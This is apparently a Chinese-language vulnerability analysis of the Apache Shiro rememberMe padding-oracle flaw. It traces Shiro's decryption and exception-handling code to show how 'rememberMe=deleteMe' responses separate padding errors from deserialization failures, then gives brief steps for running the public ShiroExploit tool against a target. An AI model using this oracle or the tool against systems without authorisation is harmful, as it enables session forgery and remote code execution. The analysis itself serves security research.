protected byte[] decrypt(byte[] encrypted) { byte[] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
按照流程进入JcaCipherService类的decrypt方法,处理好iv和对应的密文后,进入重载的decrypt方法
private ByteSource decrypt(byte[] ciphertext, byte[] key, byte[] iv) throws CryptoException { if (log.isTraceEnabled()) { log.trace("Attempting to decrypt incoming byte array of length " + (ciphertext != null ? ciphertext.length : 0)); } byte[] decrypted = crypt(ciphertext, key, iv, javax.crypto.Cipher.DECRYPT_MODE); return decrypted == null ? null : ByteSource.Util.bytes(decrypted); }
进入crypt方法
private byte[] crypt(byte[] bytes, byte[] key, byte[] iv, int mode) throws IllegalArgumentException, CryptoException { if (key == null || key.length == 0) { throw new IllegalArgumentException("key argument cannot be null or empty."); } javax.crypto.Cipher cipher = initNewCipher(mode, key, iv, false); return crypt(cipher, bytes); }
进入重载方法
private byte[] crypt(javax.crypto.Cipher cipher, byte[] bytes) throws CryptoException { try { return cipher.doFinal(bytes); } catch (Exception e) { String msg = "Unable to execute 'doFinal' with cipher instance [" + cipher + "]."; throw new CryptoException(msg, e); } }
这里调用了doFinal函数对字节码进行处理,步入
public final byte[] doFinal(byte[] var1) throws IllegalBlockSizeException, BadPaddingException { // 检查加密器/解密器的状态 this.checkCipherState(); if (var1 == null) { throw new IllegalArgumentException("Null input buffer"); } else { this.chooseFirstProvider(); return this.spi.engineDoFinal(var1, 0, var1.length); } }
这个方法会抛出两个异常,分别是IllegalBlockSizeException(块大小异常)和BadPaddingException(填充错误异常),这里使用的是throws,会将异常抛至上一层方法,逐层往上,直到getRememberedPrincipals方法中使用onRememberedPrincipalFailure进行处理
public PrincipalCollection getRememberedPrincipals(SubjectContext subjectContext) { PrincipalCollection principals = null; try { byte[] bytes = getRememberedSerializedIdentity(subjectContext); //SHIRO-138 - only call convertBytesToPrincipals if bytes exist: if (bytes != null && bytes.length > 0) { principals = convertBytesToPrincipals(bytes, subjectContext); } } catch (RuntimeException re) { // 这里 principals = onRememberedPrincipalFailure(re, subjectContext); } return principals; }
进入onRememberedPrincipalFailure方法
protected PrincipalCollection onRememberedPrincipalFailure(RuntimeException e, SubjectContext context) { if (log.isWarnEnabled()) { String message = "There was a failure while trying to retrieve remembered principals. This could be due to a " + "configuration problem or corrupted principals. This could also be due to a recently " + "changed encryption key, if you are using a shiro.ini file, this property would be " + "'securityManager.rememberMeManager.cipherKey' see: http://shiro.apache.org/web.html#Web-RememberMeServices. " + "The remembered identity will be forgotten and not used for this request."; log.warn(message); } // 这里 forgetIdentity(context); //propagate - security manager implementation will handle and warn appropriately throw e; }
此方法调用了forgetIdentity方法进行处理
private void forgetIdentity(HttpServletRequest request, HttpServletResponse response) { getCookie().removeFrom(request, response); }
removeFrom方法
public void removeFrom(HttpServletRequest request, HttpServletResponse response) { String name = getName(); String value = DELETED_COOKIE_VALUE; String comment = null; //don't need to add extra size to the response - comments are irrelevant for deletions String domain = getDomain(); String path = calculatePath(request); int maxAge = 0; //always zero for deletion int version = getVersion(); boolean secure = isSecure(); boolean httpOnly = false; //no need to add the extra text, plus the value 'deleteMe' is not sensitive at all addCookieHeader(response, name, value, comment, domain, path, maxAge, version, secure, httpOnly); log.trace("Removed '{}' cookie by setting maxAge=0", name); }
removeForm主要在response头部添加字段Set-Cookie: rememberMe=deleteMe
Padding正确,反序列化失败:
在DefaultSerializer类的反序列化函数中进行了处理
public T deserialize(byte[] serialized) throws SerializationException { if (serialized == null) { String msg = "argument cannot be null."; throw new IllegalArgumentException(msg); } ByteArrayInputStream bais = new ByteArrayInputStream(serialized); BufferedInputStream bis = new BufferedInputStream(bais); try { ObjectInputStream ois = new ClassResolvingObjectInputStream(bis); @SuppressWarnings({"unchecked"}) T deserialized = (T) ois.readObject(); ois.close(); return deserialized; } catch (Exception e) { String msg = "Unable to deserialize argument byte array."; throw new SerializationException(msg, e); } }
但对于Java来说,反序列化是以Stream的方式按顺序进行的,向其后添加或更改一些字符串并不会影响正常反序列化
两种状态:
使用工具ShiroExploit v2.51:https://github.com/feihong-cs/ShiroExploit-Deprecated/releases/tag/v2.51
输入网址及用户登录成功的Cookie
然后选择“使用ceye.io进行漏洞检测”,点击下一步开始攻击
在渗透测试中,Shiro 的广泛应用使得它成为攻击者的高价值目标。通过深入对 Shiro 代码的分析,我们能够更全面地理解其内部工作原理,有助于揭示潜在的安全隐患。Shiro其他版本中的漏洞还非常值得研究..